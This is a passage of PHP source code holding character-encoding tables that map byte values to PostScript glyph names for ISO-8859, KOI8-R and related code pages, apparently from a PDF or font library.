200=>'Egrave',201=>'Eacute',202=>'Ecircumflex',203=>'Edieresis',204=>'Igrave',205=>'Iacute',206=>'Icircumflex',207=>'Idieresis', 208=>'Gbreve',209=>'Ntilde',210=>'Ograve',211=>'Oacute',212=>'Ocircumflex',213=>'Otilde',214=>'Odieresis',215=>'multiply', 216=>'Oslash',217=>'Ugrave',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Idotaccent',222=>'Scedilla',223=>'germandbls', 224=>'agrave',225=>'aacute',226=>'acircumflex',227=>'atilde',228=>'adieresis',229=>'aring',230=>'ae',231=>'ccedilla', 232=>'egrave',233=>'eacute',234=>'ecircumflex',235=>'edieresis',236=>'igrave',237=>'iacute',238=>'icircumflex',239=>'idieresis', 240=>'gbreve',241=>'ntilde',242=>'ograve',243=>'oacute',244=>'ocircumflex',245=>'otilde',246=>'odieresis',247=>'divide', 248=>'oslash',249=>'ugrave',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'dotlessi',254=>'scedilla',255=>'ydieresis'), // encoding map for: iso-8859-1 'iso-8859-1' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'exclamdown',162=>'cent',163=>'sterling',164=>'currency',165=>'yen',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'ordfeminine',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'macron', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'acute',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'cedilla',185=>'onesuperior',186=>'ordmasculine',187=>'guillemotright',188=>'onequarter',189=>'onehalf',190=>'threequarters',191=>'questiondown', 192=>'Agrave',193=>'Aacute',194=>'Acircumflex',195=>'Atilde',196=>'Adieresis',197=>'Aring',198=>'AE',199=>'Ccedilla', 200=>'Egrave',201=>'Eacute',202=>'Ecircumflex',203=>'Edieresis',204=>'Igrave',205=>'Iacute',206=>'Icircumflex',207=>'Idieresis', 208=>'Eth',209=>'Ntilde',210=>'Ograve',211=>'Oacute',212=>'Ocircumflex',213=>'Otilde',214=>'Odieresis',215=>'multiply', 216=>'Oslash',217=>'Ugrave',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Yacute',222=>'Thorn',223=>'germandbls', 224=>'agrave',225=>'aacute',226=>'acircumflex',227=>'atilde',228=>'adieresis',229=>'aring',230=>'ae',231=>'ccedilla', 232=>'egrave',233=>'eacute',234=>'ecircumflex',235=>'edieresis',236=>'igrave',237=>'iacute',238=>'icircumflex',239=>'idieresis', 240=>'eth',241=>'ntilde',242=>'ograve',243=>'oacute',244=>'ocircumflex',245=>'otilde',246=>'odieresis',247=>'divide', 248=>'oslash',249=>'ugrave',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'yacute',254=>'thorn',255=>'ydieresis'), // encoding map for: iso-8859-15 'iso-8859-15' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'exclamdown',162=>'cent',163=>'sterling',164=>'Euro',165=>'yen',166=>'Scaron',167=>'section', 168=>'scaron',169=>'copyright',170=>'ordfeminine',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'macron', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'Zcaron',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'zcaron',185=>'onesuperior',186=>'ordmasculine',187=>'guillemotright',188=>'OE',189=>'oe',190=>'Ydieresis',191=>'questiondown', 192=>'Agrave',193=>'Aacute',194=>'Acircumflex',195=>'Atilde',196=>'Adieresis',197=>'Aring',198=>'AE',199=>'Ccedilla', 200=>'Egrave',201=>'Eacute',202=>'Ecircumflex',203=>'Edieresis',204=>'Igrave',205=>'Iacute',206=>'Icircumflex',207=>'Idieresis', 208=>'Eth',209=>'Ntilde',210=>'Ograve',211=>'Oacute',212=>'Ocircumflex',213=>'Otilde',214=>'Odieresis',215=>'multiply', 216=>'Oslash',217=>'Ugrave',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Yacute',222=>'Thorn',223=>'germandbls', 224=>'agrave',225=>'aacute',226=>'acircumflex',227=>'atilde',228=>'adieresis',229=>'aring',230=>'ae',231=>'ccedilla', 232=>'egrave',233=>'eacute',234=>'ecircumflex',235=>'edieresis',236=>'igrave',237=>'iacute',238=>'icircumflex',239=>'idieresis', 240=>'eth',241=>'ntilde',242=>'ograve',243=>'oacute',244=>'ocircumflex',245=>'otilde',246=>'odieresis',247=>'divide', 248=>'oslash',249=>'ugrave',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'yacute',254=>'thorn',255=>'ydieresis'), // encoding map for: iso-8859-5 'iso-8859-5' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'afii10023',162=>'afii10051',163=>'afii10052',164=>'afii10053',165=>'afii10054',166=>'afii10055',167=>'afii10056', 168=>'afii10057',169=>'afii10058',170=>'afii10059',171=>'afii10060',172=>'afii10061',173=>'hyphen',174=>'afii10062',175=>'afii10145', 176=>'afii10017',177=>'afii10018',178=>'afii10019',179=>'afii10020',180=>'afii10021',181=>'afii10022',182=>'afii10024',183=>'afii10025', 184=>'afii10026',185=>'afii10027',186=>'afii10028',187=>'afii10029',188=>'afii10030',189=>'afii10031',190=>'afii10032',191=>'afii10033', 192=>'afii10034',193=>'afii10035',194=>'afii10036',195=>'afii10037',196=>'afii10038',197=>'afii10039',198=>'afii10040',199=>'afii10041', 200=>'afii10042',201=>'afii10043',202=>'afii10044',203=>'afii10045',204=>'afii10046',205=>'afii10047',206=>'afii10048',207=>'afii10049', 208=>'afii10065',209=>'afii10066',210=>'afii10067',211=>'afii10068',212=>'afii10069',213=>'afii10070',214=>'afii10072',215=>'afii10073', 216=>'afii10074',217=>'afii10075',218=>'afii10076',219=>'afii10077',220=>'afii10078',221=>'afii10079',222=>'afii10080',223=>'afii10081', 224=>'afii10082',225=>'afii10083',226=>'afii10084',227=>'afii10085',228=>'afii10086',229=>'afii10087',230=>'afii10088',231=>'afii10089', 232=>'afii10090',233=>'afii10091',234=>'afii10092',235=>'afii10093',236=>'afii10094',237=>'afii10095',238=>'afii10096',239=>'afii10097', 240=>'afii61352',241=>'afii10071',242=>'afii10099',243=>'afii10100',244=>'afii10101',245=>'afii10102',246=>'afii10103',247=>'afii10104', 248=>'afii10105',249=>'afii10106',250=>'afii10107',251=>'afii10108',252=>'afii10109',253=>'section',254=>'afii10110',255=>'afii10193'), // encoding map for: iso-8859-5 'iso-8859-5' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'afii10023',162=>'afii10051',163=>'afii10052',164=>'afii10053',165=>'afii10054',166=>'afii10055',167=>'afii10056', 168=>'afii10057',169=>'afii10058',170=>'afii10059',171=>'afii10060',172=>'afii10061',173=>'hyphen',174=>'afii10062',175=>'afii10145', 176=>'afii10017',177=>'afii10018',178=>'afii10019',179=>'afii10020',180=>'afii10021',181=>'afii10022',182=>'afii10024',183=>'afii10025', 184=>'afii10026',185=>'afii10027',186=>'afii10028',187=>'afii10029',188=>'afii10030',189=>'afii10031',190=>'afii10032',191=>'afii10033', 192=>'afii10034',193=>'afii10035',194=>'afii10036',195=>'afii10037',196=>'afii10038',197=>'afii10039',198=>'afii10040',199=>'afii10041', 200=>'afii10042',201=>'afii10043',202=>'afii10044',203=>'afii10045',204=>'afii10046',205=>'afii10047',206=>'afii10048',207=>'afii10049', 208=>'afii10065',209=>'afii10066',210=>'afii10067',211=>'afii10068',212=>'afii10069',213=>'afii10070',214=>'afii10072',215=>'afii10073', 216=>'afii10074',217=>'afii10075',218=>'afii10076',219=>'afii10077',220=>'afii10078',221=>'afii10079',222=>'afii10080',223=>'afii10081', 224=>'afii10082',225=>'afii10083',226=>'afii10084',227=>'afii10085',228=>'afii10086',229=>'afii10087',230=>'afii10088',231=>'afii10089', 232=>'afii10090',233=>'afii10091',234=>'afii10092',235=>'afii10093',236=>'afii10094',237=>'afii10095',238=>'afii10096',239=>'afii10097', 240=>'afii61352',241=>'afii10071',242=>'afii10099',243=>'afii10100',244=>'afii10101',245=>'afii10102',246=>'afii10103',247=>'afii10104', 248=>'afii10105',249=>'afii10106',250=>'afii10107',251=>'afii10108',252=>'afii10109',253=>'section',254=>'afii10110',255=>'afii10193'), // encoding map for: koi8-r 'koi8-r' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'SF100000',129=>'SF110000',130=>'SF010000',131=>'SF030000',132=>'SF020000',133=>'SF040000',134=>'SF080000',135=>'SF090000', 136=>'SF060000',137=>'SF070000',138=>'SF050000',139=>'upblock',140=>'dnblock',141=>'block',142=>'lfblock',143=>'rtblock', 144=>'ltshade',145=>'shade',146=>'dkshade',147=>'integraltp',148=>'filledbox',149=>'periodcentered',150=>'radical',151=>'approxequal', 152=>'lessequal',153=>'greaterequal',154=>'space',155=>'integralbt',156=>'degree',157=>'twosuperior',158=>'periodcentered',159=>'divide', 160=>'SF430000',161=>'SF240000',162=>'SF510000',163=>'afii10071',164=>'SF520000',165=>'SF390000',166=>'SF220000',167=>'SF210000', 168=>'SF250000',169=>'SF500000',170=>'SF490000',171=>'SF380000',172=>'SF280000',173=>'SF270000',174=>'SF260000',175=>'SF360000', 176=>'SF370000',177=>'SF420000',178=>'SF190000',179=>'afii10023',180=>'SF200000',181=>'SF230000',182=>'SF470000',183=>'SF480000', 184=>'SF410000',185=>'SF450000',186=>'SF460000',187=>'SF400000',188=>'SF540000',189=>'SF530000',190=>'SF440000',191=>'copyright', 192=>'afii10096',193=>'afii10065',194=>'afii10066',195=>'afii10088',196=>'afii10069',197=>'afii10070',198=>'afii10086',199=>'afii10068', 200=>'afii10087',201=>'afii10074',202=>'afii10075',203=>'afii10076',204=>'afii10077',205=>'afii10078',206=>'afii10079',207=>'afii10080', 208=>'afii10081',209=>'afii10097',210=>'afii10082',211=>'afii10083',212=>'afii10084',213=>'afii10085',214=>'afii10072',215=>'afii10067', 216=>'afii10094',217=>'afii10093',218=>'afii10073',219=>'afii10090',220=>'afii10095',221=>'afii10091',222=>'afii10089',223=>'afii10092', 224=>'afii10048',225=>'afii10017',226=>'afii10018',227=>'afii10040',228=>'afii10021',229=>'afii10022',230=>'afii10038',231=>'afii10020', 232=>'afii10039',233=>'afii10026',234=>'afii10027',235=>'afii10028',236=>'afii10029',237=>'afii10030',238=>'afii10031',239=>'afii10032', 240=>'afii10033',241=>'afii10049',242=>'afii10034',243=>'afii10035',244=>'afii10036',245=>'afii10037',246=>'afii10024',247=>'afii10019', 248=>'afii10046',249=>'afii10045',250=>'afii10025',251=>'afii10042',252=>'afii10047',253=>'afii10043',254=>'afii10041',255=>'afii10044'), // encoding map for: koi8-r 'koi8-r' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'SF100000',129=>'SF110000',130=>'SF010000',131=>'SF030000',132=>'SF020000',133=>'SF040000',134=>'SF080000',135=>'SF090000', 136=>'SF060000',137=>'SF070000',138=>'SF050000',139=>'upblock',140=>'dnblock',141=>'block',142=>'lfblock',143=>'rtblock', 144=>'ltshade',145=>'shade',146=>'dkshade',147=>'integraltp',148=>'filledbox',149=>'periodcentered',150=>'radical',151=>'approxequal', 152=>'lessequal',153=>'greaterequal',154=>'space',155=>'integralbt',156=>'degree',157=>'twosuperior',158=>'periodcentered',159=>'divide', 160=>'SF430000',161=>'SF240000',162=>'SF510000',163=>'afii10071',164=>'SF520000',165=>'SF390000',166=>'SF220000',167=>'SF210000', 168=>'SF250000',169=>'SF500000',170=>'SF490000',171=>'SF380000',172=>'SF280000',173=>'SF270000',174=>'SF260000',175=>'SF360000', 176=>'SF370000',177=>'SF420000',178=>'SF190000',179=>'afii10023',180=>'SF200000',181=>'SF230000',182=>'SF470000',183=>'SF480000', 184=>'SF410000',185=>'SF450000',186=>'SF460000',187=>'SF400000',188=>'SF540000',189=>'SF530000',190=>'SF440000',191=>'copyright', 192=>'afii10096',193=>'afii10065',194=>'afii10066',195=>'afii10088',196=>'afii10069',197=>'afii10070',198=>'afii10086',199=>'afii10068', 200=>'afii10087',201=>'afii10074',202=>'afii10075',203=>'afii10076',204=>'afii10077',205=>'afii10078',206=>'afii10079',207=>'afii10080', 208=>'afii10081',209=>'afii10097',210=>'afii10082',211=>'afii10083',212=>'afii10084',213=>'afii10085',214=>'afii10072',215=>'afii10067', 216=>'afii10094',217=>'afii10093',218=>'afii10073',219=>'afii10090',220=>'afii10095',221=>'afii10091',222=>'afii10089',223=>'afii10092', 224=>'afii10048',225=>'afii10017',226=>'afii10018',227=>'afii10040',228=>'afii10021',229=>'afii10022',230=>'afii10038',231=>'afii10020', 232=>'afii10039',233=>'afii10026',234=>'afii10027',235=>'afii10028',236=>'afii10029',237=>'afii10030',238=>'afii10031',239=>'afii10032', 240=>'afii10033',241=>'afii10049',242=>'afii10034',243=>'afii10035',244=>'afii10036',245=>'afii10037',246=>'afii10024',247=>'afii10019', 248=>'afii10046',249=>'afii10045',250=>'afii10025',251=>'afii10042',252=>'afii10047',253=>'afii10043',254=>'afii10041',255=>'afii10044'), // encoding map for: iso-8859-16 'iso-8859-16' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'Aogonek',162=>'aogonek',163=>'Lslash',164=>'Euro',165=>'quotedblbase',166=>'Scaron',167=>'section', 168=>'scaron',169=>'copyright',170=>'Scommaaccent',171=>'guillemotleft',172=>'Zacute',173=>'hyphen',174=>'zacute',175=>'Zdotaccent', 176=>'degree',177=>'plusminus',178=>'Ccaron',179=>'lslash',180=>'Zcaron',181=>'quotedblright',182=>'paragraph',183=>'periodcentered', 184=>'zcaron',185=>'ccaron',186=>'scommaaccent',187=>'guillemotright',188=>'OE',189=>'oe',190=>'Ydieresis',191=>'zdotaccent', 